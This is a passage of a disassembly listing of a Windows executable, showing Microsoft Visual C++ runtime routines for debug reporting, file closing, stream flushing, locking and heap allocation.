short loc_41F431 mov eax, [ebp+arg_4] mov [ebp+var_112C], eax jmp short loc_41F43B ; --------------------------------------------------------------------------- loc_41F431: ; CODE XREF: sub_41F260+1C4j mov [ebp+var_112C], offset dword_437ECC loc_41F43B: ; CODE XREF: sub_41F260+1CFj cmp [ebp+arg_4], 0 jz short loc_41F44D mov [ebp+var_1130], offset aFile ; "\nFile: " jmp short loc_41F457 ; --------------------------------------------------------------------------- loc_41F44D: ; CODE XREF: sub_41F260+1DFj mov [ebp+var_1130], offset dword_437ECC loc_41F457: ; CODE XREF: sub_41F260+1EBj cmp [ebp+var_1110], 0 jz short loc_41F46E mov ecx, [ebp+var_1110] mov [ebp+var_1134], ecx jmp short loc_41F478 ; --------------------------------------------------------------------------- loc_41F46E: ; CODE XREF: sub_41F260+1FEj mov [ebp+var_1134], offset dword_437ECC loc_41F478: ; CODE XREF: sub_41F260+20Cj cmp [ebp+var_1110], 0 jz short loc_41F48D mov [ebp+var_1138], offset aModule ; "\nModule: " jmp short loc_41F497 ; --------------------------------------------------------------------------- loc_41F48D: ; CODE XREF: sub_41F260+21Fj mov [ebp+var_1138], offset dword_437ECC loc_41F497: ; CODE XREF: sub_41F260+22Bj mov edx, [ebp+var_1114] push edx mov eax, [ebp+var_1118] push eax mov ecx, [ebp+var_111C] push ecx mov edx, [ebp+var_1120] push edx mov eax, [ebp+var_1124] push eax mov ecx, [ebp+var_1128] push ecx mov edx, [ebp+var_112C] push edx mov eax, [ebp+var_1130] push eax mov ecx, [ebp+var_1134] push ecx mov edx, [ebp+var_1138] push edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] mov edx, off_4513C4[ecx*4] push edx push offset aDebugSProgramS ; "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"... push 1000h lea eax, [ebp+var_110C] push eax call sub_41B910 add esp, 3Ch test eax, eax jge short loc_41F51D push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea ecx, [ebp+var_110C] push ecx call sub_41C300 add esp, 8 loc_41F51D: ; CODE XREF: sub_41F260+2A7j push 12012h push offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library" lea edx, [ebp+var_110C] push edx call sub_42B680 add esp, 0Ch mov [ebp+var_10C], eax cmp [ebp+var_10C], 3 jnz short loc_41F556 push 16h call sub_42B3C0 add esp, 4 push 3 call sub_41B5A0 loc_41F556: ; CODE XREF: sub_41F260+2E3j cmp [ebp+var_10C], 4 jnz short loc_41F566 mov eax, 1 jmp short loc_41F568 ; --------------------------------------------------------------------------- loc_41F566: ; CODE XREF: sub_41F260+2FDj xor eax, eax loc_41F568: ; CODE XREF: sub_41F260+304j mov esp, ebp pop ebp retn sub_41F260 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F570 proc near ; CODE XREF: sub_418E10+71p ; sub_42C3D0+400p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4EFD40 jnb short loc_41F5A1 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_41F5BC loc_41F5A1: ; CODE XREF: sub_41F570+Dj call sub_4248A0 mov dword ptr [eax], 9 call sub_4248B0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_41F5E6 ; --------------------------------------------------------------------------- loc_41F5BC: ; CODE XREF: sub_41F570+2Fj mov edx, [ebp+arg_0] push edx call sub_42BC50 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_41F5F0 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_0] push ecx call sub_42BCE0 add esp, 4 mov eax, [ebp+var_4] loc_41F5E6: ; CODE XREF: sub_41F570+4Aj mov esp, ebp pop ebp retn sub_41F570 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F5F0 proc near ; CODE XREF: sub_41F570+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov eax, [ebp+arg_0] push eax call sub_42BAD0 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_41F643 cmp [ebp+arg_0], 1 jz short loc_41F612 cmp [ebp+arg_0], 2 jnz short loc_41F62C loc_41F612: ; CODE XREF: sub_41F5F0+1Aj push 1 call sub_42BAD0 add esp, 4 mov esi, eax push 2 call sub_42BAD0 add esp, 4 cmp esi, eax jz short loc_41F643 loc_41F62C: ; CODE XREF: sub_41F5F0+20j mov ecx, [ebp+arg_0] push ecx call sub_42BAD0 add esp, 4 push eax call dword_4F1324 ; CloseHandle test eax, eax jz short loc_41F64C loc_41F643: ; CODE XREF: sub_41F5F0+14j ; sub_41F5F0+3Aj mov [ebp+var_4], 0 jmp short loc_41F655 ; --------------------------------------------------------------------------- loc_41F64C: ; CODE XREF: sub_41F5F0+51j call dword_4F1348 ; RtlGetLastWin32Error mov [ebp+var_4], eax loc_41F655: ; CODE XREF: sub_41F5F0+5Aj mov edx, [ebp+arg_0] push edx call sub_42B9F0 add esp, 4 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] mov byte ptr [edx+ecx+4], 0 cmp [ebp+var_4], 0 jz short loc_41F693 mov eax, [ebp+var_4] push eax call sub_424800 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_41F695 ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F5F0+90j xor eax, eax loc_41F695: ; CODE XREF: sub_41F5F0+A1j pop esi mov esp, ebp pop ebp retn sub_41F5F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F6A0 proc near ; CODE XREF: sub_418E10+62p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi loc_41F6A6: ; CODE XREF: sub_41F6A0+2Ej cmp [ebp+arg_0], 0 jnz short loc_41F6CA push offset dword_437504 push 0 push 30h push offset a_freebuf_c ; "_freebuf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41F6CA int 3 ; Trap to Debugger loc_41F6CA: ; CODE XREF: sub_41F6A0+Aj ; sub_41F6A0+27j xor eax, eax test eax, eax jnz short loc_41F6A6 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 83h test edx, edx jz short loc_41F72D mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] and ecx, 8 test ecx, ecx jz short loc_41F72D push 2 mov edx, [ebp+arg_0] mov eax, [edx+8] push eax call sub_419980 add esp, 8 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 0FFFFFBF7h mov eax, [ebp+arg_0] mov [eax+0Ch], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+8], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 loc_41F72D: ; CODE XREF: sub_41F6A0+3Ej ; sub_41F6A0+4Bj pop edi pop esi pop ebx pop ebp retn sub_41F6A0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jnz short loc_41F756 push 0 call sub_41F8B0 add esp, 4 jmp short loc_41F780 ; --------------------------------------------------------------------------- loc_41F756: ; CODE XREF: .nsp0:0041F748j mov eax, [ebp+8] push eax call sub_41ECE0 add esp, 4 mov ecx, [ebp+8] push ecx call sub_41F790 add esp, 4 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_41ED50 add esp, 4 mov eax, [ebp-4] loc_41F780: ; CODE XREF: .nsp0:0041F754j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F790 proc near ; CODE XREF: .nsp0:0041F766p ; sub_41F8B0+B1p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_41F7E0 add esp, 4 test eax, eax jz short loc_41F7A8 or eax, 0FFFFFFFFh jmp short loc_41F7CF ; --------------------------------------------------------------------------- loc_41F7A8: ; CODE XREF: sub_41F790+11j mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 4000h test edx, edx jz short loc_41F7CD mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_42BD10 add esp, 4 neg eax sbb eax, eax jmp short loc_41F7CF ; --------------------------------------------------------------------------- loc_41F7CD: ; CODE XREF: sub_41F790+26j xor eax, eax loc_41F7CF: ; CODE XREF: sub_41F790+16j ; sub_41F790+3Bj pop ebp retn sub_41F790 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F7E0 proc near ; CODE XREF: sub_418E10+53p ; sub_41DD30+A2p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 3 cmp edx, 2 jnz short loc_41F87B mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 108h test ecx, ecx jz short loc_41F87B mov edx, [ebp+var_8] mov eax, [ebp+var_8] mov ecx, [edx] sub ecx, [eax+8] mov [ebp+var_C], ecx cmp [ebp+var_C], 0 jle short loc_41F87B mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] mov ecx, [eax+8] push ecx mov edx, [ebp+var_8] mov eax, [edx+10h] push eax call sub_42BDF0 add esp, 0Ch cmp eax, [ebp+var_C] jnz short loc_41F865 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_41F863 mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 0FFFFFFFDh mov edx, [ebp+var_8] mov [edx+0Ch], ecx loc_41F863: ; CODE XREF: sub_41F7E0+72j jmp short loc_41F87B ; --------------------------------------------------------------------------- loc_41F865: ; CODE XREF: sub_41F7E0+62j mov eax, [ebp+var_8] mov ecx, [eax+0Ch] or ecx, 20h mov edx, [ebp+var_8] mov [edx+0Ch], ecx mov [ebp+var_4], 0FFFFFFFFh loc_41F87B: ; CODE XREF: sub_41F7E0+1Fj ; sub_41F7E0+2Fj ... mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [ecx+8] mov [eax], edx mov eax, [ebp+var_8] mov dword ptr [eax+4], 0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41F7E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F8A0 proc near ; CODE XREF: sub_41ECC0+3p push ebp mov ebp, esp push 1 call sub_41F8B0 add esp, 4 pop ebp retn sub_41F8A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F8B0 proc near ; CODE XREF: .nsp0:0041F74Cp ; sub_41F8A0+5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov [ebp+var_8], 0 push 2 call sub_41FB40 add esp, 4 mov [ebp+var_C], 0 jmp short loc_41F8E0 ; --------------------------------------------------------------------------- loc_41F8D7: ; CODE XREF: sub_41F8B0:loc_41F9CEj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_41F8E0: ; CODE XREF: sub_41F8B0+25j mov ecx, [ebp+var_C] cmp ecx, dword_4F0FA0 jge loc_41F9D3 mov edx, [ebp+var_C] mov eax, dword_4EFF88 cmp dword ptr [eax+edx*4], 0 jz loc_41F9CE mov ecx, [ebp+var_C] mov edx, dword_4EFF88 mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jz loc_41F9CE mov edx, [ebp+var_C] mov eax, dword_4EFF88 mov ecx, [eax+edx*4] push ecx mov edx, [ebp+var_C] push edx call sub_41ED20 add esp, 8 mov eax, [ebp+var_C] mov ecx, dword_4EFF88 mov edx, [ecx+eax*4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_41F9B5 cmp [ebp+arg_0], 1 jnz short loc_41F979 mov ecx, [ebp+var_C] mov edx, dword_4EFF88 mov eax, [edx+ecx*4] push eax call sub_41F790 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_41F977 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_41F977: ; CODE XREF: sub_41F8B0+BCj jmp short loc_41F9B5 ; --------------------------------------------------------------------------- loc_41F979: ; CODE XREF: sub_41F8B0+A2j cmp [ebp+arg_0], 0 jnz short loc_41F9B5 mov edx, [ebp+var_C] mov eax, dword_4EFF88 mov ecx, [eax+edx*4] mov edx, [ecx+0Ch] and edx, 2 test edx, edx jz short loc_41F9B5 mov eax, [ebp+var_C] mov ecx, dword_4EFF88 mov edx, [ecx+eax*4] push edx call sub_41F790 add esp, 4 cmp eax, 0FFFFFFFFh jnz short loc_41F9B5 mov [ebp+var_8], 0FFFFFFFFh loc_41F9B5: ; CODE XREF: sub_41F8B0+9Cj ; sub_41F8B0:loc_41F977j ... mov eax, [ebp+var_C] mov ecx, dword_4EFF88 mov edx, [ecx+eax*4] push edx mov eax, [ebp+var_C] push eax call sub_41ED90 add esp, 8 loc_41F9CE: ; CODE XREF: sub_41F8B0+4Bj ; sub_41F8B0+68j jmp loc_41F8D7 ; --------------------------------------------------------------------------- loc_41F9D3: ; CODE XREF: sub_41F8B0+39j push 2 call sub_41FBE0 add esp, 4 cmp [ebp+arg_0], 1 jnz short loc_41F9E8 mov eax, [ebp+var_4] jmp short loc_41F9EB ; --------------------------------------------------------------------------- loc_41F9E8: ; CODE XREF: sub_41F8B0+131j mov eax, [ebp+var_8] loc_41F9EB: ; CODE XREF: sub_41F8B0+136j mov esp, ebp pop ebp retn sub_41F8B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 9 call sub_41FB40 add esp, 4 mov eax, dword_4EF8F8 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4EF8F8, ecx push 9 call sub_41FBE0 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, dword_4EF8F8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FA30 proc near ; CODE XREF: sub_418F40+48p ; sub_41FC40+41p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4EF8F8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41FA50 mov ecx, [ebp+arg_0] push ecx call [ebp+var_4] add esp, 4 test eax, eax jnz short loc_41FA54 loc_41FA50: ; CODE XREF: sub_41FA30+10j xor eax, eax jmp short loc_41FA59 ; --------------------------------------------------------------------------- loc_41FA54: ; CODE XREF: sub_41FA30+1Ej mov eax, 1 loc_41FA59: ; CODE XREF: sub_41FA30+22j mov esp, ebp pop ebp retn sub_41FA30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FA60 proc near ; CODE XREF: sub_423C10+4p push ebp mov ebp, esp mov eax, off_451414 push eax call dword_4F1470 ; InitializeCriticalSection mov ecx, off_451404 push ecx call dword_4F1470 ; InitializeCriticalSection mov edx, off_4513F4 push edx call dword_4F1470 ; InitializeCriticalSection mov eax, off_4513D4 push eax call dword_4F1470 ; InitializeCriticalSection pop ebp retn sub_41FA60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FAA0 proc near ; CODE XREF: .nsp0:00423CA3p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_41FAB6 ; --------------------------------------------------------------------------- loc_41FAAD: ; CODE XREF: sub_41FAA0:loc_41FB07j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41FAB6: ; CODE XREF: sub_41FAA0+Bj cmp [ebp+var_4], 30h jge short loc_41FB09 mov ecx, [ebp+var_4] cmp dword_4513D0[ecx*4], 0 jz short loc_41FB07 cmp [ebp+var_4], 11h jz short loc_41FB07 cmp [ebp+var_4], 0Dh jz short loc_41FB07 cmp [ebp+var_4], 9 jz short loc_41FB07 cmp [ebp+var_4], 1 jz short loc_41FB07 mov edx, [ebp+var_4] mov eax, dword_4513D0[edx*4] push eax call dword_4F1398 ; RtlDeleteCriticalSection push 2 mov ecx, [ebp+var_4] mov edx, dword_4513D0[ecx*4] push edx call sub_419980 add esp, 8 loc_41FB07: ; CODE XREF: sub_41FAA0+27j ; sub_41FAA0+2Dj ... jmp short loc_41FAAD ; --------------------------------------------------------------------------- loc_41FB09: ; CODE XREF: sub_41FAA0+1Aj mov eax, off_4513F4 push eax call dword_4F1398 ; RtlDeleteCriticalSection mov ecx, off_451404 push ecx call dword_4F1398 ; RtlDeleteCriticalSection mov edx, off_451414 push edx call dword_4F1398 ; RtlDeleteCriticalSection mov eax, off_4513D4 push eax call dword_4F1398 ; RtlDeleteCriticalSection mov esp, ebp pop ebp retn sub_41FAA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FB40 proc near ; CODE XREF: sub_418F40+6p ; sub_419380+6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp dword_4513D0[eax*4], 0 jnz short loc_41FBC2 push 0E1h push offset aMlock_c ; "mlock.c" push 2 push 18h call sub_418EF0 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41FB7A push 11h call sub_41EB30 add esp, 4 loc_41FB7A: ; CODE XREF: sub_41FB40+2Ej push 11h call sub_41FB40 add esp, 4 mov ecx, [ebp+arg_0] cmp dword_4513D0[ecx*4], 0 jnz short loc_41FBAA mov edx, [ebp+var_4] push edx call dword_4F1470 ; InitializeCriticalSection mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dword_4513D0[eax*4], ecx jmp short loc_41FBB8 ; --------------------------------------------------------------------------- loc_41FBAA: ; CODE XREF: sub_41FB40+4Fj push 2 mov edx, [ebp+var_4] push edx call sub_419980 add esp, 8 loc_41FBB8: ; CODE XREF: sub_41FB40+68j push 11h call sub_41FBE0 add esp, 4 loc_41FBC2: ; CODE XREF: sub_41FB40+Fj mov eax, [ebp+arg_0] mov ecx, dword_4513D0[eax*4] push ecx call dword_4F1390 ; RtlEnterCriticalSection mov esp, ebp pop ebp retn sub_41FB40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FBE0 proc near ; CODE XREF: sub_418F40+2Bp ; sub_419380+31p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, dword_4513D0[eax*4] push ecx call dword_4F138C ; RtlLeaveCriticalSection pop ebp retn sub_41FBE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax push 0 call dword_4F1474 ; FatalAppExitA push 0FFh call dword_4F1320 ; ExitProcess pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FC20 proc near ; CODE XREF: sub_41FDD0+10p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, dword_4EF8F4 push eax mov ecx, [ebp+arg_0] push ecx call sub_41FC40 add esp, 8 pop ebp retn sub_41FC20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FC40 proc near ; CODE XREF: sub_41FC20+Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFFFE0h jbe short loc_41FC4E xor eax, eax jmp short loc_41FC93 ; --------------------------------------------------------------------------- loc_41FC4E: ; CODE XREF: sub_41FC40+8j ; sub_41FC40:loc_41FC91j cmp [ebp+arg_0], 0FFFFFFE0h ja short loc_41FC65 mov eax, [ebp+arg_0] push eax call sub_41FCA0 add esp, 4 mov [ebp+var_4], eax jmp short loc_41FC6C ; --------------------------------------------------------------------------- loc_41FC65: ; CODE XREF: sub_41FC40+12j mov [ebp+var_4], 0 loc_41FC6C: ; CODE XREF: sub_41FC40+23j cmp [ebp+var_4], 0 jnz short loc_41FC78 cmp [ebp+arg_4], 0 jnz short loc_41FC7D loc_41FC78: ; CODE XREF: sub_41FC40+30j mov eax, [ebp+var_4] jmp short loc_41FC93 ; --------------------------------------------------------------------------- loc_41FC7D: ; CODE XREF: sub_41FC40+36j mov ecx, [ebp+arg_0] push ecx call sub_41FA30 add esp, 4 test eax, eax jnz short loc_41FC91 xor eax, eax jmp short loc_41FC93 ; --------------------------------------------------------------------------- loc_41FC91: ; CODE XREF: sub_41FC40+4Bj jmp short loc_41FC4E ; --------------------------------------------------------------------------- loc_41FC93: ; CODE XREF: sub_41FC40+Cj ; sub_41FC40+3Bj ... mov esp, ebp pop ebp retn sub_41FC40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FCA0 proc near ; CODE XREF: sub_418FC0+19Dp ; sub_41FC40+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_451498 ja short loc_41FCDD push 9 call sub_41FB40 add esp, 4 mov ecx, [ebp+arg_0] push ecx call sub_4208D0 add esp, 4 mov [ebp+var_4], eax push 9 call sub_41FBE0 add esp, 4 cmp [ebp+var_4], 0 jz short loc_41FCDD mov eax, [ebp+var_4] jmp short loc_41FD09 ; --------------------------------------------------------------------------- loc_41FCDD: ; CODE XREF: sub_41FCA0+Dj ; sub_41FCA0+36j cmp [ebp+arg_0], 0 jnz short loc_41FCEA mov [ebp+arg_0], 1 loc_41FCEA: ; CODE XREF: sub_41FCA0+41j mov edx, [ebp+arg_0] add edx, 0Fh and edx, 0FFFFFFF0h mov [ebp+arg_0], edx mov eax, [ebp+arg_0] push eax push 0 mov ecx, dword_4EFF80 push ecx call dword_4F1478 ; RtlAllocateHeap loc_41FD09: ; CODE XREF: sub_41FCA0+3Bj mov esp, ebp pop ebp retn sub_41FCA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FD10 proc near ; CODE XREF: sub_418FC0+79p ; sub_4193C0+C1p ... push ebp mov ebp, esp mov eax, 1 pop ebp retn sub_41FD10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FD20 proc near ; CODE XREF: sub_4193C0+2D4p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_4], 0FFFFFFE0h jbe short loc_41FD33 xor eax, eax jmp loc_41FDC9 ; --------------------------------------------------------------------------- loc_41FD33: ; CODE XREF: sub_41FD20+Aj push 9 call sub_41FB40 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_420240 add esp, 4 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41FD91 mov [ebp+var_4], 0 mov ecx, [ebp+arg_4] cmp ecx, dword_451498 ja short loc_41FD82 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_8] push ecx call sub_421110 add esp, 0Ch test eax, eax jz short loc_41FD82 mov edx, [ebp+arg_0] mov [ebp+var_4], edx loc_41FD82: ; CODE XREF: sub_41FD20+42j ; sub_41FD20+5Aj push 9 call sub_41FBE0 add esp, 4 mov eax, [ebp+var_4] jmp short loc_41FDC9 ; --------------------------------------------------------------------------- loc_41FD91: ; CODE XREF: sub_41FD20+30j push 9 call sub_41FBE0 add esp, 4 cmp [ebp+arg_4], 0 jnz short loc_41FDA8 mov [ebp+arg_4], 1 loc_41FDA8: ; CODE XREF: sub_41FD20+7Fj mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 10h mov eax, dword_4EFF80 push eax call dword_4F147C ; RtlReAllocateHeap loc_41FDC9: ; CODE XREF: sub_41FD20+Ej ; sub_41FD20+6Fj mov esp, ebp pop ebp retn sub_41FD20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDD0 proc near ; CODE XREF: sub_4193C0+2AFp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_0], 0 jnz short loc_41FDED mov eax, [ebp+arg_4] push eax call sub_41FC20 add esp, 4 jmp loc_41FFB6 ; --------------------------------------------------------------------------- loc_41FDED: ; CODE XREF: sub_41FDD0+Aj cmp [ebp+arg_4], 0 jnz short loc_41FE06 mov ecx, [ebp+arg_0] push ecx call sub_41FFC0 add esp, 4 xor eax, eax jmp loc_41FFB6 ; --------------------------------------------------------------------------- loc_41FE06: ; CODE XREF: sub_41FDD0+21j ; sub_41FDD0:loc_41FFB1j mov [ebp+var_8], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja loc_41FF89 push 9 call sub_41FB40 add esp, 4 mov edx, [ebp+arg_0] push edx call sub_420240 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz loc_41FF4C mov eax, [ebp+arg_4] cmp eax, dword_451498 ja short loc_41FEC0 mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_C] push eax call sub_421110 add esp, 0Ch test eax, eax jz short loc_41FE65 mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx jmp short loc_41FEC0 ; --------------------------------------------------------------------------- loc_41FE65: ; CODE XREF: sub_41FDD0+8Bj mov edx, [ebp+arg_4] push edx call sub_4208D0 add esp, 4 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41FEC0 mov eax, [ebp+arg_0] mov ecx, [eax-4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] cmp edx, [ebp+arg_4] jnb short loc_41FE96 mov eax, [ebp+var_4] mov [ebp+var_10], eax jmp short loc_41FE9C ; --------------------------------------------------------------------------- loc_41FE96: ; CODE XREF: sub_41FDD0+BCj mov ecx, [ebp+arg_4] mov [ebp+var_10], ecx loc_41FE9C: ; CODE XREF: sub_41FDD0+C4j mov edx, [ebp+var_10] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_8] push ecx call near ptr sub_41C8D0 add esp, 0Ch mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_C] push eax call sub_420300 add esp, 8 loc_41FEC0: ; CODE XREF: sub_41FDD0+73j ; sub_41FDD0+93j ... cmp [ebp+var_8], 0 jnz short loc_41FF40 cmp [ebp+arg_4], 0 jnz short loc_41FED3 mov [ebp+arg_4], 1 loc_41FED3: ; CODE XREF: sub_41FDD0+FAj mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] push edx push 0 mov eax, dword_4EFF80 push eax call dword_4F1478 ; RtlAllocateHeap mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41FF40 mov ecx, [ebp+arg_0] mov edx, [ecx-4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_41FF16 mov ecx, [ebp+var_4] mov [ebp+var_14], ecx jmp short loc_41FF1C ; --------------------------------------------------------------------------- loc_41FF16: ; CODE XREF: sub_41FDD0+13Cj mov edx, [ebp+arg_4] mov [ebp+var_14], edx loc_41FF1C: ; CODE XREF: sub_41FDD0+144j mov eax, [ebp+var_14] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_8] push edx call near ptr sub_41C8D0 add esp, 0Ch mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_C] push ecx call sub_420300 add esp, 8 loc_41FF40: ; CODE XREF: sub_41FDD0+F4j ; sub_41FDD0+128j push 9 call sub_41FBE0 add esp, 4 jmp short loc_41FF89 ; --------------------------------------------------------------------------- loc_41FF4C: ; CODE XREF: sub_41FDD0+64j push 9 call sub_41FBE0 add esp, 4 cmp [ebp+arg_4], 0 jnz short loc_41FF63 mov [ebp+arg_4], 1 loc_41FF63: ; CODE XREF: sub_41FDD0+18Aj mov edx, [ebp+arg_4] add edx, 0Fh and edx, 0FFFFFFF0h mov [ebp+arg_4], edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx push 0 mov edx, dword_4EFF80 push edx call dword_4F147C ; RtlReAllocateHeap mov [ebp+var_8], eax loc_41FF89: ; CODE XREF: sub_41FDD0+41j ; sub_41FDD0+17Aj cmp [ebp+var_8], 0 jnz short loc_41FF98 cmp 